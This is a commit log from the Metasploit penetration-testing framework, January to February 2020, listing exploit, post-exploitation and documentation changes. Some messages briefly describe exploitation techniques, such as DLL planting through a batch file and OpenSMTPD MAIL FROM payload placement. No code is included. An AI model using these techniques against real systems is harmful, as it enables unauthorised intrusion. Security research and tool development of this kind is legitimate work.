Brendan Coles f5844ee953 Land #12830, Ensure post/windows/gather/enum_patches gathers all patches 2020-02-15 03:47:43 +00:00
Tim W 3a89bef6c4 improve description 2020-02-15 10:37:15 +08:00
Christophe De La Fuente 9193ace50b Add documentation 2020-02-14 17:17:45 -06:00
Christophe De La Fuente 351c0d1651 Small improvements 2020-02-14 17:16:27 -06:00
William Vu e315e207f1 Refactor HttpTrace and add color and headers only 2020-02-14 17:13:11 -06:00
Tim W d95391b7f4 minor refactor 2020-02-15 06:10:52 +08:00
Tim W 55d5e55c5e use simpler wasm code 2020-02-15 06:10:52 +08:00
Tim W 4b92403bba fix? 2020-02-15 06:10:52 +08:00
Tim W 5420007dff add support for osx and windows using wasm rwx region 2020-02-15 06:10:52 +08:00
Tim W f6343f35aa attempt to speed up pop_r9 gadget search 2020-02-15 06:10:52 +08:00
Tim W bb4007747b fix 2020-02-15 06:10:52 +08:00
Tim W 35dac6ea5f no offsets 2020-02-15 06:10:52 +08:00
Tim W 59ed3e5948 dynamic offsets 2020-02-15 06:10:52 +08:00
Tim W 2efc381115 strcmp 2020-02-15 06:10:52 +08:00
Tim W 6fa086a0ab add debugging option 2020-02-15 06:10:52 +08:00
Tim W bbbb9565a4 fix win7 2020-02-15 06:10:52 +08:00
Tim W d644f2d9c7 chrome 69.0.3497.100 --no-sandbox calc.exe 2020-02-15 06:10:52 +08:00
William Vu 0aca3f0712 Switch back to if statement 2020-02-14 15:07:12 -06:00
William Vu 137fee2570 Make first pass at colorized HttpTrace output 2020-02-14 15:07:09 -06:00
Tim W d6c3e4ad56 fix wasm finder to match pr description 2020-02-15 01:09:27 +08:00
Tim W 94287c94ff fix discovery and references 2020-02-15 00:39:48 +08:00
RAMELLA Sébastien 27effc1b56 typo. cmdstager command 2020-02-14 12:25:56 +04:00
0x44434241 f61c188e57 Handling possible nil case of regex on OS build.
Feedback from adfoster-r7

Testing of detection:

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check

[*] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```

Testing of (forced) nil-case:
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check
[*] Reloading module...

[!] Could not determine Windows build number - exploiting might fail.
[*] The target is not exploitable.
```
2020-02-14 09:26:04 +09:00
William Vu 7e9bd506d6 Add generate -v to optionally show payload stage 2020-02-13 16:33:48 -06:00
Metasploit 1556a603f0 Bump version of framework to 5.0.75 2020-02-13 12:08:40 -06:00
Metasploit 70d365f6c9 automatic module_metadata_base.json update 2020-02-13 09:58:47 -06:00
dwelch-r7 07954c0ce2 Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:48:10 +00:00
dwelch-r7 0e55e20c9c Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:43:38 +00:00
Francesco Soncina da820f08e6 don't interact with other apps to avoid asking permissions 2020-02-13 16:17:33 +01:00
Francesco Soncina 64c4fec0d0 accept both array or string in report_loot() 2020-02-13 16:12:40 +01:00
Adam Galway 2ca2b5c7bb replaces magic numbers with target fields 2020-02-13 14:17:23 +00:00
0x44434241 fce70c9284 Adjusting print method to better reflect the situation. 2020-02-13 08:02:02 +09:00
dwelch-r7 556ad5f3b7 Land #12927, fix getsockname usage in the SOCKS5 server 2020-02-12 12:30:19 +00:00
Adam Galway cbcf8a2a68 adds to_i and removes default options 2020-02-12 12:04:15 +00:00
Spencer McIntyre d829f2ab43 Fix getsockname usage in the SOCKS5 server 2020-02-11 21:53:36 -06:00
0x44434241 6d73b572c7 Update vulnerable systems documentation.
Feedback from bcoles.
2020-02-12 08:22:43 +09:00
0x44434241 9e46926a0f Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:49 +09:00
0x44434241 785dbb6ba3 Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:27 +09:00
Adam Galway 8fd3b483d3 improves option descriptions & timeout handling 2020-02-11 15:05:24 +00:00
Adam Galway 946e244c8c Updates docs and adds basic options 2020-02-11 13:40:51 +00:00
Adam Galway a7a80e08a8 Updated docs with platform info 2020-02-11 12:55:07 +00:00
Adam Galway 3395b91c83 adds module documentation 2020-02-10 16:45:44 +00:00
Metasploit d7f92a932e automatic module_metadata_base.json update 2020-02-10 05:42:10 -06:00
Adam Galway 65521270ea Land #12853, InfiniteWP exploit & mixin upgrades 2020-02-10 11:33:49 +00:00
0x44434241 9c30250161 Updating documentation for juicy potato exploit.
Added a link to information on the expiry of the bug, and explicitly
listing which versions of Microsoft Windows were and were not
vulnerable.
2020-02-10 16:33:45 +09:00
0x44434241 25d863d912 Updating regex in exploit windows version check.
This addresses issue #12698, where the Windows OS and build was not
being parsed correctly due to changes in the client.sys.config lib.

Tested against Windows 10 (patched):

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > rcheck
[*] Reloading module...

[-] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```
2020-02-10 15:32:02 +09:00
h00die 91add39ceb extra blank line removed 2020-02-09 19:05:46 -05:00
h00die 65951dd97b nnposter list 2020-02-09 19:04:03 -05:00
b4rtik deb7f4ce14 Update reflective_dll_inject.rb 2020-02-09 13:26:34 +01:00
h00die 3707d4caa6 use default options 2020-02-08 15:31:27 -05:00
mattaberegg a0b6584d19 Added password randomization 2020-02-07 19:14:56 -08:00
mattaberegg e2f2d55ecc Updated check message 2020-02-07 18:34:27 -08:00
mattaberegg 90503b2c61 Documentation cosmetic updates 2020-02-07 18:28:24 -08:00
mattaberegg cb372a54f4 Added info to cleanup message 2020-02-07 16:41:27 -08:00
mattaberegg a05611d756 Improve cleanup functionality 2020-02-07 16:13:25 -08:00
Guillaume Clement 92d2c8f974 Reverting to GPG and original key host. Fixes #12913. 2020-02-07 18:13:59 -05:00
William Vu eab1245eef Update module doc 2020-02-07 12:30:00 -06:00
William Vu a9ae212b27 Replace ForceExploit with AutoCheck mixin 2020-02-07 12:04:57 -06:00
wvu-r7 2ad8a02fd7 Fix version check
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-02-07 10:10:28 -06:00
Metasploit 44030bd784 automatic module_metadata_base.json update 2020-02-07 09:33:38 -06:00
Spencer McIntyre 6557cabd65 Land #12900, add teamviewer password recovery 2020-02-07 10:24:12 -05:00
Spencer McIntyre 5a62630309 Add installation steps to the module docs 2020-02-07 10:20:17 -05:00
Spencer McIntyre cbf0d14666 Fix the store_valid_credentials service info 2020-02-07 10:07:41 -05:00
dwelch-r7 54550dba74 tidied up docs 2020-02-07 14:08:51 +00:00
Metasploit 7472a18493 automatic module_metadata_base.json update 2020-02-07 06:45:35 -06:00
Adam Galway b01f02480f Land #12912, removes and aliases jtr modules 2020-02-07 12:38:26 +00:00
Metasploit 10b49979d4 automatic module_metadata_base.json update 2020-02-07 05:54:21 -06:00
Alan Foster 4dcb2fbd96 Land #12889, Add OpenSMTPD MAIL FROM RCE 2020-02-07 11:43:18 +00:00
William Vu 763dbf5d5d Check WordPress version 2020-02-07 03:14:17 -06:00
William Vu 6c59d7c37c Refactor module 2020-02-07 01:38:11 -06:00
William Vu 3b258eeb19 Refactor plugin editing 2020-02-07 01:10:42 -06:00
blurbdust a5a5ea7ded clean up code, update documentation 2020-02-06 22:27:47 -06:00
wvu-r7 6b48337f3d Land #12917, chmod +x tools/dev/msftidy_docs.rb 2020-02-06 19:48:55 -06:00
William Vu 793d5c3342 chmod +x tools/dev/msftidy_docs.rb
a099481f66 failed to do so.
2020-02-06 19:21:07 -06:00
Spencer McIntyre 0d36c99151 Minor code tweaks for PR 12865 before testing 2020-02-06 17:40:44 -05:00
William Vu 8c07e17912 Update module docs 2020-02-06 15:57:54 -06:00
William Vu 3282ec5c55 Change vprint_status to print_status in mixin 2020-02-06 15:43:45 -06:00
Metasploit 374396e7fe automatic module_metadata_base.json update 2020-02-06 15:30:19 -06:00
bwatters-r7 7f3c0c9314 Land #12906, Add module for CVE-2019-19363
Merge branch 'land-12906' into upstream-master
2020-02-06 15:22:17 -06:00
William Vu 68565f575f Update module doc 2020-02-06 14:55:41 -06:00
Shelby Pace 9a8d9c6c88 check arch 2020-02-06 14:11:42 -06:00
Shelby Pace e736588795 change method of exploitation for reliability
This commit changes a few things:
  1. The module first writes the dll to a
     temp location.
  2. The module writes a batch file to a
     temp location.
  3. The batch file copies the dll until
     the copy command fails (presumably
     because the dll is now in use by
     PrintIsolationHost.exe).
  4. The dropped files are deleted.
  5. Docs updated to reflect changes.
2020-02-06 12:51:36 -06:00
Metasploit ab32336544 Bump version of framework to 5.0.74 2020-02-06 12:06:53 -06:00
William Vu 62c98710ad Reword vulnerable commit range 2020-02-06 11:03:20 -06:00
Jeffrey Martin 208e59999a Allow multiple moved_from deprecations 2020-02-06 10:31:59 -06:00
Jeffrey Martin abd2c3e1fc adjust moved_from calls to original module names 2020-02-06 10:23:53 -06:00
Adam Cammack 995c56098d Allow multiple moved_from deprecations
Each `moved_from` deprecation in a module with more that one will now
print their respective warnings.
2020-02-06 10:23:32 -06:00
dwelch-r7 a704f757b7 fix windows version 2020-02-06 11:22:03 +00:00
dwelch-r7 95941d539e Add docs for windows ssh persistence 2020-02-06 11:19:14 +00:00
William Vu e053ed7a1e Add Msf::Exploit::Expect mixin and refactor again 2020-02-05 21:16:24 -06:00
William Vu 95fa8602bc Refactor modules that use Expect 2020-02-05 21:16:21 -06:00
Guillaume Clement abf56ae748 Updating GPG keys needed for install binaries. Fixes #12913. 2020-02-05 20:47:56 -05:00
mattaberegg edb3aa30f8 Minor style and performance edits 2020-02-05 15:19:06 -08:00
William Vu b98c0c6876 Add module doc 2020-02-05 17:01:58 -06:00
William Vu 81f9fc7608 Refactor arbitrary payload support 2020-02-05 17:01:54 -06:00
Jeffrey Martin 2bb91a2262 remove jtr specific modules that are refactored 2020-02-05 16:52:19 -06:00
William Vu dae06ab0c9 Reword comments in morris_sendmail_debug
Not sure why I used singular, but it was probably reading too much RFC.
2020-02-05 14:23:29 -06:00
Metasploit d30b6b136a automatic module_metadata_base.json update 2020-02-05 13:28:22 -06:00
Shelby Pace a154efa250 Land #12887, add dlink ssdpcgi cmd inject 2020-02-05 13:19:05 -06:00
Shelby Pace 691a18c997 move docs file, add options 2020-02-05 12:58:46 -06:00
Metasploit aad0ab3716 automatic module_metadata_base.json update 2020-02-05 12:50:53 -06:00
bwatters-r7 9db6b5184b Land #12894, Add Windscribe WindscribeService Named Pipe Privilege Escalation
Merge branch 'land-12894' into upstream-master
2020-02-05 12:37:34 -06:00
Adam Galway ddec8a58a1 disables payload padding and describes shell code 2020-02-05 18:09:39 +00:00
William Vu abdcb67189 Merge remote-tracking branch 'origin/pr/20' into feature/opensmtpd 2020-02-05 11:18:06 -06:00
dwelch-r7 31a6e0e396 Add post module for ssh persistence in windows 2020-02-05 16:21:38 +00:00
s1kr10s de25920f30 The written word "through" is modified 2020-02-05 11:53:51 -03:00
s1kr10s 25c23073c8 Modify disclosure URL, remove printf...
...  as stager flavor and silence msftidy error.
2020-02-04 15:20:57 -03:00
tperry-r7 c7b07db88b Land #12904 clean up contributor guide
Land #12904 clean up contributor guide
2020-02-04 11:35:23 -06:00
s1kr10s 5f7004cf7c Remove 'HttpClient', 'Payload' and 'RHOST'; ...
... replace 'Targets' for a new option, and format 'header', as suggested in the review.
2020-02-04 14:04:23 -03:00
Adam Galway d428e00b35 adds additional clarification and spelling changes 2020-02-04 17:02:46 +00:00
William Vu 533c2a0a9d Land #12909, search help if cached results empty 2020-02-04 10:31:14 -06:00
William Vu 593e391e2f Remove redundant else 2020-02-04 10:28:54 -06:00
Metasploit 81c8a810ba automatic module_metadata_base.json update 2020-02-04 10:28:07 -06:00
wvu-r7 dc0c0a2029 Land #12911, beetel_netconfig_ini_bof style fix 2020-02-04 10:19:46 -06:00
William Vu 22a75c7bee Revert "Fix style"
This reverts commit 9f81aeb4ad.
2020-02-04 10:10:46 -06:00
Adam Galway d76546f8ee clarifies inserted shell code's function 2020-02-04 15:14:36 +00:00
Adam Galway 671f2e9616 msfTidy: set disclosure date to proper format 2020-02-04 11:55:39 +00:00
kalba-security 2360b0e2ff clean up module using msftidy 2020-02-04 13:14:03 +02:00
Adam Galway 37065f5ffe PR Changes: More Cleanup 2020-02-04 10:59:02 +00:00
Adam Galway 4fd865f3a9 PR Changes: Comments, fail_with, and cleanup 2020-02-04 10:57:41 +00:00
kalba-security 20386f1aa4 Add apache_activemq_traversal_upload module and documentation 2020-02-04 12:01:41 +02:00
Auxilus c75eab5854 show search help when args and module_search_results are empty 2020-02-04 12:14:33 +05:30
blurbdust 4474b6f6dc fix carriage return and spaces at EOL 2020-02-03 21:54:55 -06:00
blurbdust 13e670ceb3 fix carriage return and spaces at EOL 2020-02-03 21:52:30 -06:00
h00die cca3184b36 update userlist to ubuntu 18.04 lamp 2020-02-03 19:07:08 -05:00
Shelby Pace 772431a29e add documentation 2020-02-03 16:25:16 -06:00
Shelby Pace 303bddbb37 add cleanup code and modified options 2020-02-03 16:24:48 -06:00
blurbdust 5f6c9a265f Fix puts to print_error 2020-02-03 16:11:23 -06:00
Metasploit a34ef6fc92 automatic module_metadata_base.json update 2020-02-03 14:07:28 -06:00
Spencer McIntyre a8dc535b2a Land #12903, add the RDP DOUBLEPULSAR module 2020-02-03 14:58:23 -05:00
b4rtik a89d9cd188 Update reflective_dll_inject.rb 2020-02-03 20:21:16 +01:00
blurbdust f3e6f562a1 add docs, fix module location 2020-02-03 13:16:53 -06:00
Adam Galway 375b13733c cleans up contributer guide 2020-02-03 17:29:58 +00:00
William Vu 7175126319 Update title for smb_doublepulsar_rce 2020-02-03 11:19:20 -06:00
William Vu fa6573f8e7 Note arch in supported target 2020-02-03 11:16:16 -06:00
William Vu a3717e13f6 Unf*ck PAYLOAD being set for neutralization 2020-02-03 11:16:16 -06:00
William Vu e12d993027 Move SMB DOPU module to match new naming scheme 2020-02-03 11:16:16 -06:00
William Vu 4ba0762089 Update module doc with service pack 2020-02-03 11:16:16 -06:00
William Vu f49ee7c60e Prefer exploit.rb's rand_text wrapper 2020-02-03 11:16:16 -06:00
William Vu d64eb10b17 Update credit 2020-02-03 11:16:16 -06:00
William Vu 548529e1d4 Clean up parsing 2020-02-03 11:16:16 -06:00
William Vu 9e690414a1 Update ping response parsing with new information
Found the struct that corresponds to the ping response!
2020-02-03 11:16:16 -06:00
William Vu 6241555531 Fix service pack 2020-02-03 11:16:16 -06:00
William Vu 3074e5bece Update module doc once more 2020-02-03 11:16:16 -06:00
William Vu 2ce49456a7 Fix arch detection and add product type
Thanks to @tsellers-r7 for testing XP and producing output to compare
against. Without a 32-bit test, the architecture guess was incorrect.
Additionally, product type had yet to be determined. The trailing bytes
were indeed significant! Thanks, Tom!
2020-02-03 11:16:16 -06:00
William Vu 992a386ece Use build_data_tpdu and note channelJoinConfirm 2020-02-03 11:16:16 -06:00
William Vu 4d21b0e88e Update prints in check for visibility
vprint_good should be print_warning, and most vprints should be print,
even if in check, since check is critical functionality.
2020-02-03 11:16:16 -06:00
William Vu 51ab58f7c9 Add module doc 2020-02-03 11:16:16 -06:00
William Vu 7ba7221a8f Parse ping response into version, build, and arch 2020-02-03 11:16:16 -06:00
William Vu db1a201885 Add RDP DOUBLEPULSAR RCE module 2020-02-03 11:16:16 -06:00
Adam Galway 2ce3cb9e86 updated description 2020-02-03 17:09:56 +00:00
Shelby Pace 1ef34283eb obtain session unreliably 2020-02-03 11:07:36 -06:00
Adam Galway 6b229177f1 Add crosschex buffer overflow exploit 2020-02-03 17:02:04 +00:00
Metasploit fc1451303a automatic module_metadata_base.json update 2020-02-03 08:59:57 -06:00
dwelch-r7 97f5f37344 Land #12807, Install OpenSSH for Windows 2020-02-03 14:50:30 +00:00
RAMELLA Sébastien c8e5fcf389 add. cmdstager for drop meterpreter 2020-02-03 16:46:15 +04:00
b4rtik 1072694130 Update reflective_dll_inject.rb 2020-02-03 13:04:14 +01:00
RAMELLA Sébastien 355b9c135f add initial source code. 2020-02-03 13:52:56 +04:00
blurbdust 47b3e9cd94 Add new post module for CVE-2019-18988
https://whynotsecurity.com/blog/teamviewer/
2020-02-03 00:15:24 -06:00
mattaberegg 6f453a0f83 Module rewrite to include Cron exploitation 2020-02-02 17:29:39 -08:00
b4rtik 4f94593264 Update reflective_dll_inject.rb 2020-02-02 10:43:54 +01:00
b4rtik 3dd68849c5 Update reflective_dll_inject.rb 2020-02-02 10:08:34 +01:00
b4rtik ca70cc2d27 Update reflective_dll_inject.rb 2020-02-02 01:08:48 +01:00
b4rtik 483c36e54d Update reflective_dll_inject.rb 2020-02-02 00:59:29 +01:00
RageLtMan e2d0d8f011 Cleanup module and permit alternate payload scheme
The original Qualys exploit uses an inline-shell for loop to read
and thereby consume lines from the input stream preceeding the
intended script for execution in the body section. Payloads which
do not contain bad characters (encoded or coincidentally simple)
can be placed directly into the FROM field and executed in place
of the original for loop filter.
2020-02-01 15:04:22 -05:00
Brendan Coles 34621c0adc Add Windscribe WindscribeService Named Pipe Privilege Escalation 2020-02-01 00:41:07 +00:00
Shelby Pace 8d4637a42b can now add printers 2020-01-31 15:07:56 -06:00
tperry-r7 3ffc79aa85 Land #12878, msftidy_docs
Land #12878, msftidy_docs
2020-01-31 11:59:50 -06:00
RageLtMan 312a3466ee Update 2020-7247 to execute from body
Using method from
https://www.openwall.com/lists/oss-security/2020/01/28/3

Attempted several other line readers via awk, while, for. Tried
without pipes or `>` in the strings. It appears other characters
are also illegal (conditional brackets likely culprits).

Initial testing on wide-open-configured opensmtpd on OpenBSD 6.6
libvirt Vagrant image produces shells, python meterpreter sessions,
and executes generic commands.
2020-01-31 04:32:03 -05:00
h00die 7ee4d28751 Land #12706, apache userdir docs 2020-01-30 13:48:56 -05:00
h00die b9b6b64f0c cleanup apache userdir docs 2020-01-30 13:48:09 -05:00
Metasploit 2a6409a1bc Bump version of framework to 5.0.73 2020-01-30 12:04:05 -06:00
h00die 2907f4ae16 add default un to my/mssql login 2020-01-30 12:43:18 -05:00
Shelby Pace b05fe7453f add improved check method 2020-01-30 11:40:24 -06:00
Metasploit dca17a8922 automatic module_metadata_base.json update 2020-01-30 05:09:31 -06:00
Christophe De La Fuente 394e99fbe9 Land #12568, Fix exploit/windows/local/ms16_032_secondary_logon_handle_privesc 2020-01-30 11:57:56 +01:00
Metasploit 3f4585e401 automatic module_metadata_base.json update 2020-01-29 23:30:19 -06:00
wvu-r7 bf68730c76 Land #12885, URL reference fix 2020-01-29 23:21:58 -06:00
Spencer McIntyre bf31fb7ca8 Land #12883, add the listm and clearm commands 2020-01-29 17:36:12 -05:00
Spencer McIntyre a1f3834e08 Fix a bug in popm and tweak status messages 2020-01-29 17:35:37 -05:00
cdelafuente-r7 9da4555509 Move clean-up code to cleanup method (#2)
Move clean-up code to cleanup method
2020-01-29 17:11:07 +01:00
William Vu 81b8d5b58a Add OpenSMTPD MAIL FROM RCE 2020-01-29 05:10:43 -06:00
h00die bd48588fd5 catch false positive spaces at eol from code indent 2020-01-28 14:28:18 -05:00
s1kr10s 63612e9647 Add documentation for CVE-2019-20215 exploit 2020-01-28 16:21:34 -03:00
s1kr10s 8e0e21d337 Exploit for CVE-2019-20215
Staged, uses meterpreter
2020-01-28 16:15:24 -03:00
adamgalway-r7 0fc1a9ee5f Merge pull request #12886 from adfoster-r7/update_mailmap
Add adfoster7 to the mail map
2020-01-28 15:32:08 +00:00
Alan Foster 28a2e5126a Add adfoster7 to the mail map 2020-01-28 14:53:23 +00:00
Metasploit 267972a519 automatic module_metadata_base.json update 2020-01-28 03:48:52 -06:00
Tim W d4bd195a3d Land #12871, fix osx/local/persistence removal commands and payload options 2020-01-28 17:39:02 +08:00
Daniel Streefkerk 9314e8b65b Reference URL is broken
The URL http://www.fishnetsecurity.com/6labs/blog/post-exploitation-using-netntlm-downgrade-attacks redirects to the www.optiv.com homepage.

The correct current URL is https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks
2020-01-28 20:35:57 +11:00
Tim W 0b0d4c8633 add x64 option to osx/local/persistence and update removal commands 2020-01-28 17:18:23 +08:00
Jeffrey Martin 1b4ce34243 Land #12882, Update set command help for PAYLOAD by index 2020-01-27 23:17:07 -06:00
William Vu 66b856d562 Add listm/clearm commands to manage module stack 2020-01-27 21:57:15 -06:00
William Vu 9c42ba3042 Show previous module in "previous" command help 2020-01-27 21:41:49 -06:00
William Vu 47baf3e643 Add a period so it doesn't drive me crazy 2020-01-27 21:19:55 -06:00
William Vu 08102f2004 Update set command help for PAYLOAD by index 2020-01-27 19:36:27 -06:00
dwelch-r7 560475ebff Land #12733, Add support for repeated key in vars_post 2020-01-27 10:36:06 +00:00
fpr1m3 551ddc0ce3 Documentation mods. Need output of plugin working 2020-01-26 14:39:22 -08:00
cdelafuente-r7 3491da7da0 Add a random sentinel to close channel when terminates (#1)
* Add a random sentinel to close channel when terminates

* Replace spaces with tabs to be consistent

* Remove unnecessary escaped quotes and use include? instead of regex
2020-01-25 23:30:49 +01:00
Shelby Pace 2414fda288 add initial check/metadata 2020-01-24 16:14:51 -06:00
Metasploit d609b0a265 automatic module_metadata_base.json update 2020-01-24 09:00:57 -06:00
bwatters-r7 0d8d17c63d Land #12736, Add support for PPID spoofing 2020-01-24 08:49:51 -06:00
Metasploit 94bb5b6207 automatic module_metadata_base.json update 2020-01-24 03:39:42 -06:00
Tim W cfffb65a21 Land #12859, update AF_PACKET chocobo_root linux LPE 2020-01-24 17:30:13 +08:00
h00die fcf366e7ce fix up enum_patches 2020-01-23 20:59:20 -05:00
Francesco Soncina 8de8860504 Update Payload Gem and add docs (#5)
Update Payload Gem and add docs
2020-01-24 02:46:46 +01:00
Metasploit a60b44c0ed Bump version of framework to 5.0.72 2020-01-23 12:02:42 -06:00
Christophe De La Fuente dab4291016 Update header name 2020-01-23 18:50:10 +01:00
bwatters-r7 b4a1849ac1 Bump Payloads to 1.3.84 2020-01-23 08:34:08 -06:00
h00die 0c13102432 long lines ok in code blocks 2020-01-22 21:08:32 -05:00
h00die a099481f66 fix logic bug and chmod +x 2020-01-22 19:24:01 -05:00
William Vu 2fc1eb10a8 Add verification steps to module doc 2020-01-22 17:16:41 -06:00
William Vu 10a5e9292e Add description header to module doc 2020-01-22 17:08:26 -06:00
William Vu 88b72e6f2e Update module doc to new standard 2020-01-22 16:48:23 -06:00
Metasploit f4e34d0a42 automatic module_metadata_base.json update 2020-01-22 16:42:45 -06:00
wvu-r7 0f453a11e9 Land #12877, rand_text fix for doublepulsar_rce 2020-01-22 16:40:24 -06:00
h00die 322b3f8a8b msftidy_docs first add 2020-01-22 17:39:48 -05:00
William Vu 355ddba6c9 Prefer exploit.rb's rand_text wrapper 2020-01-22 16:37:36 -06:00
tperry-r7 3518b9465c Merge pull request #12831 from h00die/doc_cleanup
Documentation standardization. This is the first step in standardizing the module documentation.
2020-01-22 14:53:12 -06:00
bwatters-r7 208aa3454f Add documentation and warning for PPID interaction 2020-01-22 13:36:34 -06:00
dwelch-r7 75371ec1e1 Land #12874, Add rand_text* debugging support for ranges 2020-01-22 17:00:22 +00:00
Brent Cook 4770557df4 Land #12873, enable custom cookies in Windows reverse http/https payloads 2020-01-22 09:41:39 -06:00
dwelch-r7 66328675f7 Give flag correct name 2020-01-22 15:23:13 +00:00
Metasploit eb59bb7e99 automatic module_metadata_base.json update 2020-01-22 07:18:14 -06:00
Brent Cook 6f6cc00871 Land #12751, add Linux RDS socket NP deref privesc 2020-01-22 07:08:47 -06:00
Brent Cook 5bccf66dcc handle Ranges with rand_text while in debug mode 2020-01-22 05:31:33 -06:00
h00die 11ed7c9a4b Land #12857, date updates in license and copyright 2020-01-21 17:23:54 -05:00
dwelch-r7 1088448aac Add flags to send custom cookies 2020-01-21 19:29:34 +00:00
Francesco Soncina 06843d0ea5 update removal commands for osx/local/persistence
fixes #12870
2020-01-21 16:53:11 +01:00
Metasploit 7b7f56ec04 automatic module_metadata_base.json update 2020-01-21 08:52:47 -06:00
Shelby Pace ccc7b7747f Land #12773, add NVMS directory traversal 2020-01-21 08:44:14 -06:00
Shelby Pace 231c858383 add target_uri to request 2020-01-21 08:43:19 -06:00
Metasploit 2e33a72d2a automatic module_metadata_base.json update 2020-01-21 07:41:03 -06:00
Shelby Pace e7e42b7a59 Land #12768, add dlink command injection module 2020-01-21 07:37:43 -06:00
İsmail Taşdelen 24af710a4e Update tautulli_shutdown_exec.md 2020-01-21 16:15:13 +03:00
İsmail Taşdelen aefa9f3984 Update tautulli_shutdown_exec.md 2020-01-21 16:15:01 +03:00
İsmail Taşdelen a02f4caabd Update tautulli_shutdown_exec.md 2020-01-21 16:13:09 +03:00
İsmail Taşdelen 7a2fba86f1 Update tautulli_shutdown_exec.md 2020-01-21 16:08:54 +03:00
İsmail Taşdelen e982f0b890 Update tautulli_shutdown_exec.md 2020-01-21 16:07:43 +03:00
İsmail Taşdelen 69fbd195ae Update tautulli_shutdown_exec.md 2020-01-21 16:05:29 +03:00
h00die bc312420ca module doc standardizations 2020-01-20 21:41:32 -05:00
h00die ca59b06fd3 module doc standardizations 2020-01-20 21:26:59 -05:00
mattaberegg c1b66aac77 Updated check function and description 2020-01-20 17:16:45 -08:00
b4rtik 32dafcc9f6 Update reflective_dll_inject.rb 2020-01-20 23:19:03 +01:00
b4rtik 4e75f1862a Update reflective_dll_inject.rb 2020-01-20 23:11:16 +01:00
b4rtik 7cb3ca96e1 Create reflective_dll_inject.rb 2020-01-20 23:07:41 +01:00
b4rtik 34d77e8b11 Align 2020-01-20 22:59:15 +01:00
Christophe De La Fuente daaa8cf857 Add PHP-FPM Underflow RCE module 2020-01-20 20:07:34 +01:00
Dhiraj Mishra 60b5a1791f removing def data
Thanks bcoles
2020-01-20 15:39:45 +04:00
bluesentinelsec 5d7c50e3ed updated to use Msf::Post::Windows::Powershell mixin 2020-01-19 19:51:44 -05:00
mattaberegg 4af14109f5 Grammar change in exploit name 2020-01-19 14:15:11 -08:00
mattaberegg 67ae211845 Grammar change in documentation 2020-01-19 14:14:49 -08:00
mattaberegg d91a166034 Made changes from comments on PR #12858 2020-01-19 13:46:47 -08:00
Brendan Coles 19b1f567b2 Update AF_PACKET chocobo_root Privilege Escalation module 2020-01-19 11:51:01 +00:00
mattaberegg 195d699df0 Add module documentation. 2020-01-18 19:06:59 -08:00
mattaberegg fc1b337c58 Add Apache James 2.3.2 Insecure User Creation Command Injection exploit module. 2020-01-18 19:05:27 -08:00
William Vu 7d486b3374 Update LICENSE and COPYING 2020-01-18 18:45:37 -06:00
William Vu 19fa008b43 Land #12856, whitespace cleanup in cracker lib 2020-01-18 17:58:18 -06:00
William Vu 972cb545f0 Restore the original PLUGIN_FILE contents 2020-01-18 14:57:41 -06:00
h00die 9a376c8d97 tighten whitespace 2020-01-18 14:28:10 -05:00
Brendan Coles 36b6ceb56f Add rds_atomic_free_op_null_pointer_deref_priv_esc (CVE-2018-5333) 2020-01-18 08:34:52 +00:00
Dhiraj Mishra 256855b152 Adding TARGETURI 2020-01-18 13:56:13 +05:30
William Vu 909b298bd9 Land #12790, hashcat -O 2020-01-17 20:37:27 -06:00
William Vu 27ea63ad25 Prefer %w[] instead of %w() 2020-01-17 20:37:12 -06:00
William Vu cbd949927d Add WordPress InfiniteWP Client plugin exploit 2020-01-17 20:12:21 -06:00
William Vu f5c36ffd92 Add methods we'll use to the WordPress mixin 2020-01-17 20:04:23 -06:00
secenv 09801b2507 Add router module/firmware version tested
... under Scenarios, as suggested by @space-r7
2020-01-17 20:57:44 -03:00
secenv 52c7bf6375 Add "Verification Steps"
as suggested by @space-r7.
2020-01-17 20:48:37 -03:00
secenv 7fbdf0ca57 documentation: s/Setup/Vulnerable Application/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:35:27 -03:00
secenv bd8840fb09 documentation: s/Usage/Scenarios/
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:32:27 -03:00
secenv c0800f4742 Fix typo in documentation
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2020-01-17 20:31:47 -03:00
İsmail Taşdelen 574bfbed84 add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
add exploit module tautulli_shutdown_exec [ CVE-2019-19833 ]
2020-01-17 13:57:32 +03:00
fpr1m3 9e66afe3e7 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 22:00:29 -08:00
fpr1m3 299fca4e98 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:54:24 -08:00
fpr1m3 65e2637e29 Added documentation for auxiliary/scanner/oracle/oracle_login module 2020-01-16 21:50:43 -08:00
John Kollross 18b0c3b246 Update apache_userdir_enum.md 2020-01-16 23:15:03 -06:00
Metasploit f826d7747d automatic module_metadata_base.json update 2020-01-16 16:21:33 -06:00
Brent Cook 7f74d28245 Land #12845, check for SSL when SSL is not enabled 2020-01-16 16:12:53 -06:00
h00die 1ff12d05ef spelling 2020-01-16 16:31:39 -05:00
Metasploit d5138c8af1 automatic module_metadata_base.json update 2020-01-16 15:23:08 -06:00
Adam Cammack b0d0bac8bd Land #12846, Use new immutable? method 2020-01-16 15:14:26 -06:00
William Vu 60b787bde1 Use new immutable? method in modules 2020-01-16 15:05:11 -06:00
William Vu a31e4034c8 Check SSL in exploit/linux/http/webmin_backdoor 2020-01-16 14:49:13 -06:00
Metasploit 549de0934a automatic module_metadata_base.json update 2020-01-16 14:30:53 -06:00
